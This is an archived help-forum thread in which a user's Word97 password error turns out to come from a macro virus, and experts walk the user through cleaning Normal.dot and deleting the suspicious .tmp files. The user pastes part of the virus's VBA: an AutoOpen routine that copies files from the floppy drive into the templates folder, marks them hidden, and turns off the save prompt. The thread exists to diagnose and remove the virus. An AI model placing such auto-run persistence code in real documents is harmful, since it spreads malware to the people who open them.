Solved

VB error for a Word97 doc.

Posted on 2000-03-05
26
420 Views
Last Modified: 2012-06-27
Hi experts:

After typing the password for a Word97 doc, a window appears with message:

Microsoft Visual Basic
Run-time error '5181'
The document template is not valid

Can you help?

(If the same question was posted alreaday I am sorry. There may be something wrong)
0
Comment
Question by:victorlong
  • 12
  • 10
  • 4
26 Comments
 
LVL 5

Expert Comment

by:TigerMan
ID: 2585481
victorlong,

Some questions, and a couple of possible answers for you.

1. Does the doc open after the error? or does it drop into a VB code window?

2. Did you receive or download the doc from another network? or did you create it yourself?

What you describe is typical of either:

a) a macro virus, in which case you need to obtain a current virus buster, eradicate the virus, etc, in which case you often need to reinstall your application,

b) a problem with a valid macro running at any number of events related to checking the password to Document.Activate, etc, in which case you could check the code by setting break points, firing events, and stepping through with F8.

Dave
0
 

Author Comment

by:victorlong
ID: 2585562
To TigerMan:

Thank you.

>1. Does the doc open after the error? or does it drop into a VB code window?

Yes, I can click the END button and do anything I want on the doc, looks no problem. But, I can also click the DEBUG button to jump into the VB code!

>2. Did you receive or download the doc from another network? or did you create it yourself?

I made the doc and set the password myself.....don't like to think a virus :-(

If you need, I can post the highlighted string in the VB window....it looks not like a virus :-)
0
 

Author Comment

by:victorlong
ID: 2585732
Hi experts,

More information:

After clicked the Debug button in VB window, I found "Modulo21" is highlighted in Normal/Modules/Modulo21 of Project Explorer. Note, "o" in "Modulo21" is actually a "'" above a "o" and it is not an English letter! The corresponding code with highlighted line is as forllowing.

Sub AutoOpen()
On Error GoTo seguir
   FileCopy "a:\~wd11.tmp", Application.Options.DefaultFilePath(Path:=wdUserTemplatesPath) + "\~wd07.tmp"
   SetAttr Application.Options.DefaultFilePath(Path:=wdUserTemplatesPath) + "\~wd07.tmp", vbSystem + vbHidden
   FileCopy "a:\~wd11.tmp", Application.Options.DefaultFilePath(Path:=wdUserTemplatesPath) + "\~wd11.tmp"
   SetAttr Application.Options.DefaultFilePath(Path:=wdUserTemplatesPath) + "\~wd11.tmp", vbSystem + vbHidden
   Options.SaveNormalPrompt = False
   Copiar_Macros
seguir:

On Error GoTo continua
ActiveDocument.AttachedTemplate = "~wd07.tmp"
continua:

Application.ShowVisualBasicEditor = False

End Sub
0
 
LVL 17

Expert Comment

by:calacuccia
ID: 2585749
Hi VictorLong,

Looks like your code is in Spanish (or another language), I'm not sure. Do you wrote this yourself or not.

It's probably sufficient to delete the Sub AutoOpen (all the lines you posted), save the normal.dot (or close the VBEditor) and close Word, re-open Word and open your password-protected document to overwome the error message.

But if you did not write the code yourself, this could have come from a macro virus.

Good Luck

Calacuccia
0
 
LVL 17

Expert Comment

by:calacuccia
ID: 2585766
For more info about what Word Macro viruses usually do, look at this article:
http://support.microsoft.com/support/kb/articles/Q181/0/79.ASP

It's very well possible, you'll have to check some other modules for their contents as described in the article.

Calacuccia
0
 

Author Comment

by:victorlong
ID: 2585776
Hi calacuccia,

I have just opend the Tool/macro in my Word97 and found a lot macros such as AutoExec, AutoExit and AutoOpen....and it said they are created by the Computer centre in my university....
0
 
LVL 5

Expert Comment

by:TigerMan
ID: 2585778
victorlong

By and large I agree with calacuccia.  The code that is causing your problem should be deleted.  However, I would still be very concerned about how it got onto your system.  That concern arises because if you have one macro of unknown origin, you may have others - and the consequences may not be immediately discernable, but nonetheless malignant.

I still strongly recommend a scan with the latest virus software.  The result is often a deletion of some of your templates [like normal.dot] - requiring a reinstall.  Better to be safe than sorry.

Dave
0
 
LVL 5

Expert Comment

by:TigerMan
ID: 2585788
victorlong

I just noticed your comment re the source of the macros.

Of course one would hope that a tertiary institution would implement sound firewall practices, however, in my experience, they are one of the more 'professional' breeding grounds for a multitude of viruses.  Due to the nature and level of interaction with their systems, the multiplaction possibilities are almost endless.

If you interact with that environment on a regular basis, then you really do need to purchase both a current virus scanner - one that auto checks your boot sector, and automatically scans any source on the fly.  I always recommend purchasing the optional maintenance plan - many companies are now providing online update and support of your scanner for a small extra yearly fee.

Dave
0
 
LVL 17

Expert Comment

by:calacuccia
ID: 2585795
Victorlong,

The existance of those macros without you knowing it prooves the virus must have been active. You probably shipped it with a file you copied/sent from the university. Their system (or the computer(s)) you use there are probably infected too.

My advise would be to run a virus checker, as TigerMan proposes, or the delete the normal.dot file (can be found under C:\Program Files\Microsoft Office\Templates\), especially if you never have written macro's yourself in there.

Another thing you could do, is delete all the code you found.

The next step will be to set the 'Macro Virus Protection' on in Word 97. You can do this by going to Tools/Options/Tab General and check the box 'Macro Virus Protection'.

Now every time you open an existing Word document, Word will warn you if it contains viruses. You should choose 'Disabled' on opening, and check everytime the macro's it contains. If other Word documents are infected, they risk to re-infect Normal.dot when you open the file with viruses enables.

Good Luck

Calacuccia
0
 
LVL 17

Expert Comment

by:calacuccia
ID: 2585797
And if course TigerMan is perfectly right.
0
 

Author Comment

by:victorlong
ID: 2585828
Hi experts,

I am so sad to hear when hearing what you said.....

>need to reinstall your application

What is the application you mean? Word, Exell? Visual Basic?
0
 
LVL 17

Expert Comment

by:calacuccia
ID: 2585833
Hi Victorlong,

don't be sad, cheer up :-)

The good thing about macro viruses it they are easy to track.

Try first to delete the macro modules you mentioned (AutoOpen, AutoExit...) from the normal.dot, close Word, re-open it and test.

Then try to delete the normal.dot file, and activate macro virus protection as explained above.

Normally those two steps, and some prudence in the future with Word macros should do.

No need to re-install applications.
0
 

Author Comment

by:victorlong
ID: 2585891
Hi calacuccia:

I found the mcro virus protection has been checked already. So, why still have macro virus?

Anyway, I have just deleted all macros, not only under normal.dot, in my Word97 ( If anything wrong, I will give you -1000 points!!!!) ......Now reopen the doc without the error message anymore....:-)

I remember I have copied a doc to a CD! Do you think I need to destroy the CD?

0
IT, Stop Being Called Into Every Meeting

Highfive is so simple that setting up every meeting room takes just minutes and every employee will be able to start or join a call from any room with ease. Never be called into a meeting just to get it started again. This is how video conferencing should work!

 
LVL 17

Expert Comment

by:calacuccia
ID: 2585913
Hi Victorlong,

I forgot that the macro virus protection is only effective on normal macro's, and not stopping the AutoOpen, AutoExec,... That's probably why these viruses still got into the system without you noticing it. As TigerMan mentioned and also Microsoft itself, the only permanent and 100 % solution to prevent this in the future is "For a long-term solution to macro viruses, install anti-virus software that is specifically designed to detect macro viruses."

What you have done now is clean the normal.dot, if you open a file containing the source macro, it will infect Word again. The only ay to stop these Auto.. macro's is to hold the Shift key while opening a file. If you don't have to many files, you can check each of those by opening the m that way, and look if there are macro's present, if yes, delete the macro's and save the document.
Check the file on the CD by opening it while holding the shift key too, if it's not infected, no problem, you'll not have to destroy it.

Read the article I gave above carefully, it learns you a lot about Word macro viruses (I re-post the link: http://support.microsoft.com/support/kb/articles/Q181/0/79.ASP )

In any case, check any suspect file which could have come from the university. That should be a safe short-term solution.

Calacuccia
0
 

Author Comment

by:victorlong
ID: 2585920
To calacuccia:

Now, how about the .tmp files? Can I delete all of them? They are in Windows/Temp, Windows/System, and Microsoft Office/Templates and a few folds. The biggest one is 10Mb.
0
 

Author Comment

by:victorlong
ID: 2585938
To calacuccia:

Thank you so much.

I should increase the points for you.....but how about TigerMan?

I deleted all the macros in a less important doc file since I believe the one with password is very important. After deleting in the less important file, I found the macros in the doc with password dissapeared automatically......

I can not find the file normal.dot you mentioned.
0
 
LVL 17

Expert Comment

by:calacuccia
ID: 2585961
About the temp files: well that's something completely different. In general, you can delete any .tmp in Office/Templates when Word & Excel are closed. They don't have an effect on macro's though. The temp files in Windows\Temp can be deleted if their date is prior to today. I would not touch the Windows/System .tmp files.

Back to the macro world, your last comment. What you have deleted are the normal.dot macros. Normal.dot is a kind of template, it applies to all files you open. If it's not in the directory I mentioned, try to find it with the Windows Explorer (Extra/Find/Files.., type normal.dot in the name box, and select c:\ Root and check 'Include subdirectories'. It should be somewhere.
Or look in the Visual Basic Editor where you find the macro's, in the Project Tree (on left top, you should see Normal and Project, Normal is the normal.dot file).

About the points, if you want to give more points, and/or split the points with TigerMan (how many is completely up to you), you could open another question (in MSOffice, link on top of this page via 'Other Questions') entitled 'For TigerMan' and attribute the number of points you want.


Calacuccia
0
 
LVL 5

Expert Comment

by:TigerMan
ID: 2586066
victorlong

First, thanks for remembering the bloke from down South - and I mean waaaay south.

If you are trying to work out a model for points splitting, I think it only fair to say that I provided some impetus, and clearly some help, with this problem.  However, due to my lack of availability I was unable to get right into the 'thick' of it, and clearly calacuccia has gotten his hands dirtier than I have.

Second, for calacuccia [and any others interested], would you like to check out the following two questions, and lend support if you think the points are valid, or point me in the direction of existing solutions:
Suggestions/Q_10305727
Suggestions/Q_10305724

Dave
0
 

Author Comment

by:victorlong
ID: 2587232
Hi calacuccia,

Thank you.

>Extra/Find/Files..,

What is that? I have tried Start/Find for whole C: and couldn't find normal.dot....I will try the others you suggested now.

About the .tmp files: I think at lease two of them were created by teh macro/virus, from the macro code I posted early you can see some files.....I find the one ~wd07.tmp in  my C: and A:!!

I will do the points job which looks quite easy to do :-)
0
 

Author Comment

by:victorlong
ID: 2587525
Hi calacuccia,

I have post some points for TigerMan :-)

I still not understand why the macro/virus dissapeared in one doc after I deleted then in another doc.......Perhaps the virus was in Word97?
0
 

Author Comment

by:victorlong
ID: 2587548
To TigerMan:

Thank you very much for your help. In fact you posted you comment firstly.

I have posted a question titled "points for TigerMan" with some points, please answer that if you like. If not, let me know :-)

Cheers.

Victor
0
 
LVL 17

Expert Comment

by:calacuccia
ID: 2588195
Hi Victorlong,

Extra/Find/Files can be found in Windows Explorer (Start/Programs/Windows Explorer). It does the same job as the Start/Find you have tried.
The files you mentioned in the command above (~wd07.tmp) are indeed probably from the virus. You can delete them.

> I still not understand why the macro/virus dissapeared in one doc after I deleted then in another doc.......Perhaps the virus was in Word97?

I'll try to explain what happens. Word when installed from the first time, create a blank file called normal.dot
The macro infected, which was installed on one infected file, writes itself into this normal.dot file, which is automatically opened with Word. When you exit Word afterwards, the normal.dot (now infected) is saved automatically without prompting you to accept these changes.
Now, when you open an save other files, the macro virus, now in Word/normal.dot, spreads itself into all files you open.
That means, once you cleaned the normal.dot (or delete it, which you seem to have done), opening an infected file can re-infect Word again.

From your experiences though, it seems that this virus was not able to infect other files, as the important file is now clean. So the virus was indeed in Word, via the normal.dot file.

The only risk remaining is that you re-open the source infected file, which has spread the virus. So it should be good to retrieve that file and delete it from your system (or clean it by deleting all macro's present in there).

Calacuccia

PS I'm grading to an answer now, but if you need more help, just continue the discussion here.


0
 
LVL 17

Accepted Solution

by:
calacuccia earned 90 total points
ID: 2588199
Forgot...

Grading now..
0
 

Author Comment

by:victorlong
ID: 2588901
Adjusted points to 90
0
 

Author Comment

by:victorlong
ID: 2588902
Hi calacuccia,

I have increased the points for your excellent answer as I promised.
See you next time when I get another type of virus :-)

Cheers.

Victor
0
 
LVL 17

Expert Comment

by:calacuccia
ID: 2589434
Thanks Victor.

Don't count on me when you get the flue, though :-)
0

Featured Post

IT, Stop Being Called Into Every Meeting

Highfive is so simple that setting up every meeting room takes just minutes and every employee will be able to start or join a call from any room with ease. Never be called into a meeting just to get it started again. This is how video conferencing should work!

Join & Write a Comment

How many times recently have you prepared a presentation or emailed a document to a client and you have found that they have older versions of MS Office and they can not open the file you have prepared.  Although most visitors to this site are exper…
Some time ago I was asked to create a VBA function that would calculate a check digit for an input number, using the following procedure: First, sum up all the individual digits in the number If that sum value has more than one digit, then sum up …
This video shows where to find the word count, how to display it, and what it breaks down to in Microsoft Word.
The viewer will learn how to simulate a series of coin tosses with the rand() function and learn how to make these “tosses” depend on a predetermined probability. Flipping Coins in Excel: Enter =RAND() into cell A2: Recalculate the random variable…

743 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

14 Experts available now in Live!

Get 1:1 Help Now